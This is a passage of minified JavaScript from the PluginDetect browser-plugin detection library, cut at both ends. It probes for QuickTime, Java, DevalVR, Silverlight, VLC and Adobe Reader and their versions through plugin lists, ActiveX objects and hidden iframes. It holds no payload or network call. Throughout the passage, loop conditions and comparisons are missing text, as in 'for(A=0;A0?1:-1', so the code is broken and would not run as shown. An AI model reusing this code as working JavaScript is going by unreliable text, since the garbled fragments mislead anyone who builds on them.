0}},HTML:[],div:null,divID:"plugindetect",divWidth:500,getDiv:function(){return this.div||document.getElementById(this.divID)||null},initDiv:function(){var q=this,p;if(!q.div){p=q.getDiv();if(p){q.div=p;}else{q.div=document.createElement("div");q.div.id=q.divID;q.setStyle(q.div,q.getStyle.div());q.insertDivInBody(q.div)}PluginDetect.ev.fPush([q.onUnload,q],PluginDetect.win.unloadHndlrs)}p=0},pluginSize:1,iframeWidth:40,iframeHeight:10,altHTML:"     ",emptyNode:function(q){var p=this;if(q&&(/div|span/i).test(q.tagName||"")){if(PluginDetect.browser.isIE){p.setStyle(q,["display","none"])}try{q.innerHTML=""}catch(r){}}},removeNode:function(p){try{if(p&&p.parentNode){p.parentNode.removeChild(p)}}catch(q){}},onUnload:function(u,t){var r,q,s,v,w=t.HTML,p=w.length;if(p){for(q=p-1;q>=0;q--){v=w[q];if(v){w[q]=0;t.emptyNode(v.span());t.removeNode(v.span());v.span=0;v.spanObj=0;v.doc=0;v.objectProperty=0}}}r=t.getDiv();t.emptyNode(r);t.removeNode(r);v=0;s=0;r=0;t.div=0},span:function(){var p=this;if(!p.spanObj){p.spanObj=p.doc.getElementById(p.spanId)}return p.spanObj||null},width:function(){var t=this,s=t.span(),q,r,p=-1;q=s&&PluginDetect.isNum(s.scrollWidth)?s.scrollWidth:p;r=s&&PluginDetect.isNum(s.offsetWidth)?s.offsetWidth:p;s=0;return r>0?r:(q>0?q:Math.max(r,q))},obj:function(){var p=this.span();return p?p.firstChild||null:null},readyState:function(){var p=this;return PluginDetect.browser.isIE&&PluginDetect.isDefined(PluginDetect.pd.getPROP(p.span(),"readyState"))?PluginDetect.pd.getPROP(p.obj(),"readyState"):PluginDetect.UNDEFINED},objectProperty:function(){var r=this,q=r.DOM,p;if(q.isEnabled.objectProperty(r)){p=PluginDetect.pd.getPROP(r.obj(),"object")}return p},onLoadHdlr:function(p,q){q.loaded=1},getTagStatus:function(q,A,E,D,t,H,v){var F=this;if(!q||!q.span()){return -2}var y=q.width(),r=q.obj()?1:0,s=q.readyState(),p=q.objectProperty();if(p){return 1.5}var u=/clsid\s*\:/i,C=E&&u.test(E.outerHTML||"")?E:(D&&u.test(D.outerHTML||"")?D:0),w=E&&!u.test(E.outerHTML||"")?E:(D&&!u.test(D.outerHTML||"")?D:0),z=q&&u.test(q.outerHTML||"")?C:w;if(!A||!A.span()||!z||!z.span()){return -2}var x=z.width(),B=A.width(),G=z.readyState();if(y<0||x<0||B<=F.pluginSize){return 0}if(v&&!q.pi&&PluginDetect.isDefined(p)&&PluginDetect.browser.isIE&&q.tagName==z.tagName&&q.time<=z.time&&y===x&&s===0&&G!==0){q.pi=1}if(x.'+PluginDetect.openTag+"/div>");q=s.getElementById(u)}catch(r){}}p=s.getElementsByTagName("body")[0]||s.body;if(p){p.insertBefore(v,p.firstChild);if(q){p.removeChild(q)}}v=0},iframe:{onLoad:function(p,q){PluginDetect.ev.callArray(p);},insert:function(r,q){var s=this,v=PluginDetect.DOM,p,u=document.createElement("iframe"),t;v.setStyle(u,v.getStyle.iframe());u.width=v.iframeWidth;u.height=v.iframeHeight;v.initDiv();p=v.getDiv();p.appendChild(u);try{s.doc(u).open()}catch(w){}u[PluginDetect.uniqueName()]=[];t=PluginDetect.ev.handlerOnce(PluginDetect.isNum(r)&&r>0?PluginDetect.ev.handlerWait(r,s.onLoad,u[PluginDetect.uniqueName()],q):PluginDetect.ev.handler(s.onLoad,u[PluginDetect.uniqueName()],q));PluginDetect.ev.addEvent(u,"load",t);if(!u.onload){u.onload=t}PluginDetect.ev.addEvent(s.win(u),"load",t);return u},addHandler:function(q,p){if(q){PluginDetect.ev.fPush(p,q[PluginDetect.uniqueName()])}},close:function(p){try{this.doc(p).close()}catch(q){}},write:function(p,r){try{this.doc(p).write(r)}catch(q){}},win:function(p){try{return p.contentWindow}catch(q){}return null},doc:function(p){var r;try{r=p.contentWindow.document}catch(q){}try{if(!r){r=p.contentDocument}}catch(q){}return r||null}},insert:function(t,s,u,p,y,w,v){var D=this,F,E,C,B,A;if(!v){D.initDiv();v=D.getDiv()}if(v){if((/div/i).test(v.tagName)){B=v.ownerDocument}if((/iframe/i).test(v.tagName)){B=D.iframe.doc(v)}}if(B&&B.createElement){}else{B=document}if(!PluginDetect.isDefined(p)){p=""}if(PluginDetect.isString(t)&&(/[^\s]/).test(t)){t=t.toLowerCase().replace(/\s/g,"");F=PluginDetect.openTag+t+" ";F+='style="'+D.getStyle.plugin(w)+'" ';var r=1,q=1;for(A=0;A"}else{F+=">";for(A=0;A'}}F+=p+PluginDetect.openTag+"/"+t+">"}}else{t="";F=p}E={spanId:"",spanObj:null,span:D.span,loaded:null,tagName:t,outerHTML:F,DOM:D,time:new Date().getTime(),width:D.width,obj:D.obj,readyState:D.readyState,objectProperty:D.objectProperty,doc:B};if(v&&v.parentNode){if((/iframe/i).test(v.tagName)){D.iframe.addHandler(v,[D.onLoadHdlr,E]);E.loaded=0;E.spanId=PluginDetect.name+"Span"+D.HTML.length;C=''+F+"";D.iframe.write(v,C)}else{if((/div/i).test(v.tagName)){C=B.createElement("span");D.setStyle(C,D.getStyle.span());v.appendChild(C);try{C.innerHTML=F}catch(z){}E.spanObj=C}}}C=0;v=0;D.HTML.push(E);return E}},file:{any:"fileStorageAny999",valid:"fileStorageValid999",save:function(s,t,r){var q=this,p;if(s&&PluginDetect.isDefined(r)){if(!s[q.any]){s[q.any]=[]}if(!s[q.valid]){s[q.valid]=[]}s[q.any].push(r);p=q.split(t,r);if(p){s[q.valid].push(p)}}},getValidLength:function(p){return p&&p[this.valid]?p[this.valid].length:0},getAnyLength:function(p){return p&&p[this.any]?p[this.any].length:0},getValid:function(r,p){var q=this;return r&&r[q.valid]?q.get(r[q.valid],p):null},getAny:function(r,p){var q=this;return r&&r[q.any]?q.get(r[q.any],p):null},get:function(s,p){var r=s.length-1,q=PluginDetect.isNum(p)?p:r;return(q<0||q>r)?null:s[q]},split:function(t,q){var s=null,p,r;t=t?t.replace(".","\\."):"";r=new RegExp("^(.*[^\\/])("+t+"\\s*)$");if(PluginDetect.isString(q)&&r.test(q)){p=(RegExp.$1).split("/");s={name:p[p.length-1],ext:RegExp.$2,full:q};p[p.length-1]="";s.path=p.join("/")}return s}},Plugins:{}};PluginDetect.init.library();var i={setPluginStatus:function(q,p,s){var r=this;r.version=p?PluginDetect.formatNum(p,3):null;r.installed=r.version?1:(s?(s>0?0.7:-0.1):(q?0:-1));r.getVersionDone=r.installed==0.7||r.installed==-0.1||r.nav.done===0?0:1;},getVersion:function(s,t){var u=this,p=null,r=0,q;t=PluginDetect.browser.isIE?0:t;if((!r||PluginDetect.dbug)&&u.nav.query(t).installed){r=1}if((!p||PluginDetect.dbug)&&u.nav.query(t).version){p=u.nav.version}q=!p?u.codebase.isMin(s):0;if(q){u.setPluginStatus(0,0,q);return}if(!p||PluginDetect.dbug){q=u.codebase.search();if(q){r=1;p=q}}if((!r||PluginDetect.dbug)&&u.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&u.axo.query().version){p=u.axo.version}u.setPluginStatus(r,p)},nav:{done:null,installed:0,version:null,result:[0,0],mimeType:["video/quicktime","application/x-quicktimeplayer","image/x-macpaint","image/x-quicktime","application/x-rtsp","application/x-sdp","application/sdp","audio/vnd.qcelp","video/sd-video","audio/mpeg","video/mp4","video/3gpp2","application/x-mpeg","audio/x-m4b","audio/x-aac","video/flc"],find:"QuickTime.*Plug-?in",find2:"QuickTime.*Plug-?in",find3filename:"QuickTime|QT",avoid:"Totem|VLC|RealPlayer|Helix|MPlayer|Windows\\s*Media\\s*Player",plugins:"QuickTime Plug-in",detect:function(s){var t=this,r,q,p={installed:0,version:null,plugin:null};r=PluginDetect.pd.findNavPlugin({find:t.find,find2:s?0:t.find2,avoid:s?0:t.avoid,mimes:t.mimeType,plugins:t.plugins});if(r){p.plugin=r;p.installed=1;q=new RegExp(t.find,"i");if(r.name&&q.test(r.name+"")){p.version=PluginDetect.getNum(r.name+"")}}return p},query:function(r){var q=this,t,s;r=r?1:0;if(q.done===null){if(PluginDetect.hasMimeType(q.mimeType)){s=q.detect(1);if(s.installed){t=q.detect(0);q.result=[t,t.installed?t:s]}var x=q.result[0],v=q.result[1],w=new RegExp(q.avoid,"i"),u=new RegExp(q.find3filename,"i"),p;x=x?x.plugin:0;v=v?v.plugin:0;if(!x&&v&&v.name&&(!v.description||(/^[\s]*$/).test(v.description+""))&&!w.test(v.name+"")){p=(v.filename||"")+"";if((/^.*[\\\/]([^\\\/]*)$/).test(p)){p=RegExp.$1;}if(p&&u.test(p)&&!w.test(p)){q.result[0]=q.result[1]}}}q.done=q.result[0]===q.result[1]?1:0;}if(q.result[r]){q.installed=q.result[r].installed;q.version=q.result[r].version}return q}},codebase:{classID:"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",isMin:function(r){var s=this,q,p=0;s.$$=i;if(PluginDetect.isStrNum(r)){q=r.split(PluginDetect.splitNumRegx);if(q.length>3&&parseInt(q[3],10)>0){q[3]="9999"}r=q.join(",");p=PluginDetect.codebase.isMin(s,r)}return p},search:function(){this.$$=i;return PluginDetect.codebase.search(this)},DIGITMAX:[[12,11,11],[7,60],[7,11,11],0,[7,11,11]],DIGITMIN:[5,0,0,0],Upper:["999","7,60","7,50","7,6","7,5"],Lower:["7,60","7,50","7,6","7,5","0"],convert:[1,function(r,q){return q?[r[0],r[1]+r[2],r[3],"0"]:[r[0],r[1].charAt(0),r[1].charAt(1),r[2]]},1,0,1]},axo:{hasRun:0,installed:0,version:null,progID:["QuickTimeCheckObject.QuickTimeCheck","QuickTimeCheckObject.QuickTimeCheck.1"],progID0:"QuickTime.QuickTime",query:function(){var r=this,t,p,q,s=r.hasRun||!PluginDetect.browser.ActiveXEnabled;r.hasRun=1;if(s){return r}for(p=0;p0?0.7:-0.1):(v?1:(p?-0.2:-1))}if(t.OTF==2&&t.NOTF&&!t.applet.getResult()[0]){t.installed=p?-0.2:-1}if(t.OTF==3&&t.installed!=-0.5&&t.installed!=0.5){t.installed=(t.NOTF.isJavaActive(1)>=1?0.5:-0.5)}if(t.OTF==4&&(t.installed==-0.5||t.installed==0.5)){if(v){t.installed=1}else{if(q){t.installed=q>0?0.7:-0.1}else{if(t.NOTF.isJavaActive(1)>=1){if(p){t.installed=1;v=p}else{t.installed=0}}else{if(p){t.installed=-0.2}else{t.installed=-1}}}}}if(p){t.version0=PluginDetect.formatNum(PluginDetect.getNum(p))}if(v&&!q){t.version=PluginDetect.formatNum(PluginDetect.getNum(v))}if(w&&PluginDetect.isString(w)){t.vendor=w}if(!t.vendor){t.vendor=""}if(t.verify&&t.verify.isEnabled()){t.getVersionDone=0}else{if(t.getVersionDone!=1){if(t.OTF<2){t.getVersionDone=0}else{t.getVersionDone=t.applet.can_Insert_Query_Any()?0:1}}}},DTK:{hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],isDisabled:function(p){var q=this;if(q.HTML){return 1}if(p||PluginDetect.dbug){return 0}if(q.hasRun||!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){return 1}return 0},query:function(B){var z=this,t=a,A,v,p=PluginDetect.DOM.altHTML,u={},q,s=null,w=null,r=z.isDisabled(B);z.hasRun=1;if(r){return z}z.status=0;if(PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){for(A=0;A0?1:-1;for(A=0;A0){p.version=q;p.mimeObj=s;p.pluginObj=r;p.mimetype=s.type;}}},query:function(){var t=this,s=a,w,v,B,A,z,r,q=navigator.mimeTypes,p=t.isDisabled();t.hasRun=1;if(p){return t}r=q.length;if(PluginDetect.isNum(r)){for(w=0;w=5){p="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0");}return p},getPluginNum:function(){var s=this,q=a,p=0,u,t,r,w,v=0;r=/Java[^\d]*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,num:1,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}if(!p){r=/Java.*\d.*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}}return p},checkPluginNum:function(s,r){var p,q;p=r.test(s)?PluginDetect.formatNum(PluginDetect.getNum(s)):0;if(p&&PluginDetect.compareNums(p,PluginDetect.formatNum("10"))>=0){q=p.split(PluginDetect.splitNumRegx);p=PluginDetect.formatNum("1,"+(parseInt(q[0],10)-3)+",0,"+q[1])}if(p&&(PluginDetect.compareNums(p,PluginDetect.formatNum("1,3"))<0||PluginDetect.compareNums(p,PluginDetect.formatNum("2"))>=0)){p=0}return p},query:function(){var t=this,s=a,r,p=0,q=t.hasRun||!s.navigator.mimeObj;t.hasRun=1;if(q){return t}if(!p||PluginDetect.dbug){r=t.getPlatformNum();if(r){p=r}}if(!p||PluginDetect.dbug){r=t.getPluginNum();if(r){p=r}}if(p){t.version=PluginDetect.formatNum(p)}return t}},applet:{codebase:{isMin:function(p){this.$$=a;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=a;return PluginDetect.codebase.search(this)},DIGITMAX:[[15,128],[6,0,512],0,[1,5,2,256],0,[1,4,1,1],[1,4,0,64],[1,3,2,32]],DIGITMIN:[1,0,0,0],Upper:["999","10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4"],Lower:["10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4","0"],convert:[function(r,q){return q?[parseInt(r[0],10)>1?"99":parseInt(r[1],10)+3+"",r[3],"0","0"]:["1",parseInt(r[0],10)-3+"","0",r[1]]},function(r,q){return q?[r[1],r[2],r[3]+"0","0"]:["1",r[0],r[1],r[2].substring(0,r[2].length-1||1)]},0,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},0,1,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},1]},results:[[null,null],[null,null],[null,null],[null,null]],getResult:function(){var q=this,s=q.results,p,r=[];for(p=s.length-1;p>=0;p--){r=s[p];if(r[0]){break}}r=[].concat(r);return r},DummySpanTagHTML:0,HTML:[0,0,0,0],active:[0,0,0,0],DummyObjTagHTML:0,DummyObjTagHTML2:0,allowed:[1,1,1,1],VerifyTagsHas:function(q){var r=this,p;for(p=0;pp-1&&PluginDetect.isNum(r[p-1])){if(r[p-1]<0){r[p-1]=0}if(r[p-1]>3){r[p-1]=3}q.allowed[p]=r[p-1]}}q.allowed[0]=q.allowed[3];}},setVerifyTagsArray:function(r){var q=this,p=a;if(p.getVersionDone===null){q.saveAsVerifyTagsArray(p.getVerifyTagsDefault())}if(PluginDetect.dbug){q.saveAsVerifyTagsArray([3,3,3])}else{if(r){q.saveAsVerifyTagsArray(r)}}},isDisabled:{single:function(q){var p=this;if(p.all()){return 1}if(q==1){return !PluginDetect.DOM.isEnabled.objectTag()}if(q==2){return p.AppletTag()}if(q===0){return PluginDetect.codebase.isDisabled()}if(q==3){return !PluginDetect.DOM.isEnabled.objectTagUsingActiveX()}return 1},all_:null,all:function(){var r=this,t=a,q=t.navigator,p,s=PluginDetect.browser;if(r.all_===null){if((s.isOpera&&PluginDetect.compareNums(s.verOpera,"13,0,0,0")<0&&!q.javaEnabled())||(r.AppletTag()&&!PluginDetect.DOM.isEnabled.objectTag())||(!q.mimeObj&&!s.isIE)){p=1}else{p=0}r.all_=p}return r.all_},AppletTag:function(){var q=a,p=q.navigator;return PluginDetect.browser.isIE?!p.javaEnabled():0},VerifyTagsDefault_1:function(){var q=PluginDetect.browser,p=1;if(q.isIE&&!q.ActiveXEnabled){p=0}if((q.isIE&&q.verIE<9)||(q.verGecko&&PluginDetect.compareNums(q.verGecko,PluginDetect.formatNum("2"))<0)||(q.isSafari&&(!q.verSafari||PluginDetect.compareNums(q.verSafari,PluginDetect.formatNum("4"))<0))||(q.isOpera&&PluginDetect.compareNums(q.verOpera,PluginDetect.formatNum("11"))<0)){p=0}return p}},can_Insert_Query:function(s){var q=this,r=q.results[0][0],p=q.getResult()[0];if(q.HTML[s]||(s===0&&r!==null&&!q.isRange(r))||(s===0&&p&&!q.isRange(p))){return 0}return !q.isDisabled.single(s)},can_Insert_Query_Any:function(){var q=this,p;for(p=0;p0||!r.isRange(p));if(!r.can_Insert_Query(s)||t[s]===0){return 0}if(t[s]==3||(t[s]==2.8&&!p)){return 1}if(!q.nonAppletDetectionOk(q.version0)){if(t[s]==2||(t[s]==1&&!p)){return 1}}return 0},should_Insert_Query_Any:function(){var q=this,p;for(p=0;p]/).test(p||"")?(p.charAt(0)==">"?1:-1):0},setRange:function(q,p){return(q?(q>0?">":"<"):"")+(PluginDetect.isString(p)?p:"")},insertJavaTag:function(z,w,p,s,D){var t=a,v="A.class",A=PluginDetect.file.getValid(t),y=A.name+A.ext,x=A.path;var u=["archive",y,"code",v],E=(s?["width",s]:[]).concat(D?["height",D]:[]),r=["mayscript","true"],C=["scriptable","true","codebase_lookup","false"].concat(r),B=t.navigator,q=!PluginDetect.browser.isIE&&B.mimeObj&&B.mimeObj.type?B.mimeObj.type:t.mimeType[0];if(z==1){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w)}if(z==2){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("applet",["alt",p].concat(r).concat(u).concat(E),["codebase",x].concat(C),p,t,0,w):PluginDetect.DOM.insert("applet",["codebase",x,"alt",p].concat(r).concat(u).concat(E),[].concat(C),p,t,0,w)}if(z==3){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["classid",t.classID].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert()}if(z==4){return PluginDetect.DOM.insert("embed",["codebase",x].concat(u).concat(["type",q]).concat(C).concat(E),[],p,t,0,w)}return PluginDetect.DOM.insert()},insertIframe:function(p){return PluginDetect.DOM.iframe.insert(99,p)},insert_Query_Any:function(w){var q=this,r=a,y=PluginDetect.DOM,u=q.results,x=q.HTML,p=y.altHTML,t,s,v=PluginDetect.file.getValid(r);if(q.should_Insert_Query(0)){if(r.OTF<2){r.OTF=2}u[0]=[0,0];t=w?q.codebase.isMin(w):q.codebase.search();if(t){u[0][0]=w?q.setRange(t,w):t}q.active[0]=t?1.5:-1}if(!v){return q.getResult()}if(!q.DummySpanTagHTML){s=q.insertIframe("applet.DummySpanTagHTML");q.DummySpanTagHTML=y.insert("",[],[],p,0,0,s);y.iframe.close(s)}if(q.should_Insert_Query(1)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[1]");x[1]=q.insertJavaTag(1,s,p);y.iframe.close(s);u[1]=[0,0];q.query(1)}if(q.should_Insert_Query(2)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[2]");x[2]=q.insertJavaTag(2,s,p);y.iframe.close(s);u[2]=[0,0];q.query(2)}if(q.should_Insert_Query(3)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[3]");x[3]=q.insertJavaTag(3,s,p);y.iframe.close(s);u[3]=[0,0];q.query(3)}if(y.isEnabled.objectTag()){if(!q.DummyObjTagHTML&&(x[1]||x[2])){s=q.insertIframe("applet.DummyObjTagHTML");q.DummyObjTagHTML=y.insert("object",["type",r.mimeType_dummy],[],p,0,0,s);y.iframe.close(s)}if(!q.DummyObjTagHTML2&&x[3]){s=q.insertIframe("applet.DummyObjTagHTML2");q.DummyObjTagHTML2=y.insert("object",["classid",r.classID_dummy],[],p,0,0,s);y.iframe.close(s)}}r.NOTF.init();return q.getResult()}},NOTF:{count:0,count2:0,countMax:25,intervalLength:250,init:function(){var q=this,p=a;if(p.OTF<3&&q.shouldContinueQuery()){p.OTF=3;PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength);}},allHTMLloaded:function(){var r=a.applet,q,p=[r.DummySpanTagHTML,r.DummyObjTagHTML,r.DummyObjTagHTML2].concat(r.HTML);for(q=0;q2){return p}}else{t.count2=t.count}for(q=0;q=2||(r.allowed[q]==1&&!r.getResult()[0]))&&(!t.count||t.isAppletActive(q)>=0)){p=1}}}return p},isJavaActive:function(s){var u=this,r=a,p,q,t=-9;for(p=0;pt){t=q}}return t},isAppletActive:function(t,u){var v=this,q=a,A=q.navigator,p=q.applet,w=p.HTML[t],s=p.active,z,r=0,y,B=s[t];if(u||B>=1.5||!w||!w.span()){return B}y=PluginDetect.DOM.getTagStatus(w,p.DummySpanTagHTML,p.DummyObjTagHTML,p.DummyObjTagHTML2,v.count);for(z=0;z0){r=1}}if(y!=1){B=y}else{if(PluginDetect.browser.isIE||(q.version0&&A.javaEnabled()&&A.mimeObj&&(w.tagName=="object"||r))){B=1}else{B=0}}s[t]=B;return B},onIntervalQuery:function(){var q=a.NOTF,p;q.count++;if(a.OTF==3){p=q.queryAllApplets();if(!q.shouldContinueQuery()){q.queryCompleted(p)}}if(a.OTF==3){PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength)}},queryAllApplets:function(){var t=this,s=a,r=s.applet,q,p;for(q=0;q=4){return}q.OTF=4;r.isJavaActive();q.setPluginStatus(p[0],p[1],0);PluginDetect.ev.callArray(q.DoneHndlrs);}}};PluginDetect.addPlugin("java",a);var m={getVersion:function(){var r=this,p=null,q;if((!q||PluginDetect.dbug)&&r.nav.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.nav.query().version){p=r.nav.version}if((!q||PluginDetect.dbug)&&r.axo.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.axo.query().version){p=r.axo.version}r.installed=p?1:(q?0:-1);r.version=PluginDetect.formatNum(p)},nav:{hasRun:0,installed:0,version:null,mimeType:"application/x-devalvrx",query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:"DevalVR.*Plug-?in",mimes:s.mimeType,plugins:"DevalVR 3D Plugin"});if(r&&(/Plug-?in(.*)/i).test(r.description||"")){p=PluginDetect.getNum(RegExp.$1)}if(r){s.installed=1}if(p){s.version=p}return s}},axo:{hasRun:0,installed:0,version:null,progID:["DevalVRXCtrl.DevalVRXCtrl","DevalVRXCtrl.DevalVRXCtrl.1"],classID:"clsid:5D2CF9D0-113A-476B-986F-288B54571614",query:function(){var s=this,v=m,q,p,u,r,t=s.hasRun;s.hasRun=1;if(t){return s}for(p=0;p=30226){p[0]="2"}q=p.join(",")}if(q){t.version=q}return t}},axo:{hasRun:0,installed:0,version:null,progID:"AgControl.AgControl",maxdigit:[20,10,10,100,100,10],mindigit:[0,0,0,0,0,0],IsVersionSupported:function(s,q){var p=this;try{return p.testVersion?PluginDetect.compareNums(PluginDetect.formatNum(p.testVersion.join(",")),PluginDetect.formatNum(q.join(",")))>=0:s.IsVersionSupported(p.format(q))}catch(r){}return 0},format:function(q){var p=this;return(q[0]+"."+q[1]+"."+q[2]+p.make2digits(q[3])+p.make2digits(q[4])+"."+q[5])},make2digits:function(p){return(p<10?"0":"")+p+""},query:function(){var r=this,q,v,s=r.hasRun;r.hasRun=1;if(s){return r}v=PluginDetect.getAXO(r.progID);if(v){r.installed=1}if(v&&r.IsVersionSupported(v,r.mindigit)){var p=[].concat(r.mindigit),u,t=0;for(q=0;q1&&u<20){u++;t++;p[q]=Math.round((r.maxdigit[q]+r.mindigit[q])/2);if(r.IsVersionSupported(v,p)){r.mindigit[q]=p[q]}else{r.maxdigit[q]=p[q]}}p[q]=r.mindigit[q]}r.version=r.format(p);}return r}}};PluginDetect.addPlugin("silverlight",h);var f={compareNums:function(s,r){var A=s.split(PluginDetect.splitNumRegx),y=r.split(PluginDetect.splitNumRegx),w,q,p,v,u,z;for(w=0;w0)?RegExp.$2.charCodeAt(0):-1;z=/([\d]+)([a-z]?)/.test(y[w]);p=parseInt(RegExp.$1,10);u=(w==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(q!=p){return(q>p?1:-1)}if(w==2&&v!=u){return(v>u?1:-1)}}return 0},setPluginStatus:function(r,p,s){var q=this;q.installed=p?1:(s?(s>0?0.7:-0.1):(r?0:-1));if(p){q.version=PluginDetect.formatNum(p)}q.getVersionDone=q.installed==0.7||q.installed==-0.1?0:1;},getVersion:function(s){var t=this,r,p=null,q;if((!r||PluginDetect.dbug)&&t.nav.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.nav.query().version){p=t.nav.version}if((!r||PluginDetect.dbug)&&t.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.axo.query().version){p=t.axo.version}if(!p||PluginDetect.dbug){q=t.codebase.isMin(s);if(q){t.setPluginStatus(0,0,q);return}}if(!p||PluginDetect.dbug){q=t.codebase.search();if(q){r=1;p=q}}t.setPluginStatus(r,p,0)},nav:{hasRun:0,installed:0,version:null,mimeType:["application/x-vlc-plugin","application/x-google-vlc-plugin","application/mpeg4-muxcodetable","application/x-matroska","application/xspf+xml","video/divx","video/webm","video/x-mpeg","video/x-msvideo","video/ogg","audio/x-flac","audio/amr","audio/amr"],find:"VLC.*Plug-?in",find2:"VLC|VideoLAN",avoid:"Totem|Helix",plugins:["VLC Web Plugin","VLC Multimedia Plug-in","VLC Multimedia Plugin","VLC multimedia plugin"],query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:s.find,avoid:s.avoid,mimes:s.mimeType,plugins:s.plugins});if(r){s.installed=1;if(r.description){p=PluginDetect.getNum(r.description+"","[\\d][\\d\\.]*[a-z]*")}if(p){s.version=p}}return s}},axo:{hasRun:0,installed:0,version:null,progID:"VideoLAN.VLCPlugin",query:function(){var q=this,s,p,r=q.hasRun;q.hasRun=1;if(r){return q}s=PluginDetect.getAXO(q.progID);if(s){q.installed=1;p=PluginDetect.getNum(PluginDetect.pd.getPROP(s,"VersionInfo"),"[\\d][\\d\\.]*[a-z]*");if(p){q.version=p}}return q}},codebase:{classID:"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921",isMin:function(p){this.$$=f;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=f;return PluginDetect.codebase.search(this)},DIGITMAX:[[11,11,16]],DIGITMIN:[0,0,0,0],Upper:["999"],Lower:["0"],convert:[1]}};PluginDetect.addPlugin("vlc",f);var c={OTF:null,setPluginStatus:function(){var p=this,B=p.OTF,v=p.nav.detected,x=p.nav.version,z=p.nav.precision,C=z,u=x,s=v>0;var H=p.axo.detected,r=p.axo.version,w=p.axo.precision,D=p.doc.detected,G=p.doc.version,t=p.doc.precision,E=p.doc2.detected,F=p.doc2.version,y=p.doc2.precision;u=F||u||r||G;C=y||C||w||t;s=E>0||s||H>0||D>0;u=u||null;p.version=PluginDetect.formatNum(u);p.precision=C;var q=-1;if(B==3){q=p.version?0.5:-0.5}else{if(u){q=1}else{if(s){q=0}else{if(H==-0.5||D==-0.5){q=-0.15}else{if(PluginDetect.browser.isIE&&(!PluginDetect.browser.ActiveXEnabled||PluginDetect.browser.ActiveXFilteringEnabled)){q=-1.5}}}}}p.installed=q;if(p.getVersionDone!=1){var A=1;if((p.verify&&p.verify.isEnabled())||p.installed==0.5||p.installed==-0.5){A=0}else{if(p.doc2.isDisabled()==1){A=0}}p.getVersionDone=A}},getVersion:function(s,r){var p=this,q=0,t=p.verify;if(p.getVersionDone===null){p.OTF=0;if(t){t.init()}}PluginDetect.file.save(p,".pdf",r);if(p.getVersionDone===0){p.doc2.insertHTMLQuery();p.setPluginStatus();return}if((!q||PluginDetect.dbug)&&p.nav.query().version){q=1}if((!q||PluginDetect.dbug)&&p.axo.query().version){q=1}if((!q||PluginDetect.dbug)&&p.doc.query().version){q=1}if(1){p.doc2.insertHTMLQuery()}p.setPluginStatus()},getPrecision:function(v,u,t){if(PluginDetect.isString(v)){u=u||"";t=t||"";var q,s="\\d+",r="[\\.]",p=[s,s,s,s];for(q=4;q>0;q--){if((new RegExp(u+p.slice(0,q).join(r)+t)).test(v)){return q}}}return 0},nav:{detected:0,version:null,precision:0,mimeType:["application/pdf","application/vnd.adobe.pdfxml"],find:"Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",plugins:["Adobe Acrobat","Adobe Acrobat and Reader Plug-in","Adobe Reader Plugin"],query:function(){var r=this,q,p=null;if(r.detected||!PluginDetect.hasMimeType(r.mimeType)){return r}q=PluginDetect.pd.findNavPlugin({find:r.find,mimes:r.mimeType,plugins:r.plugins});r.detected=q?1:-1;if(q){p=PluginDetect.getNum(q.description)||PluginDetect.getNum(q.name);p=PluginDetect.getPluginFileVersion(q,p);if(!p){p=r.attempt3()}if(p){r.version=p;r.precision=c.getPrecision(p)}}return r},attempt3:function(){var 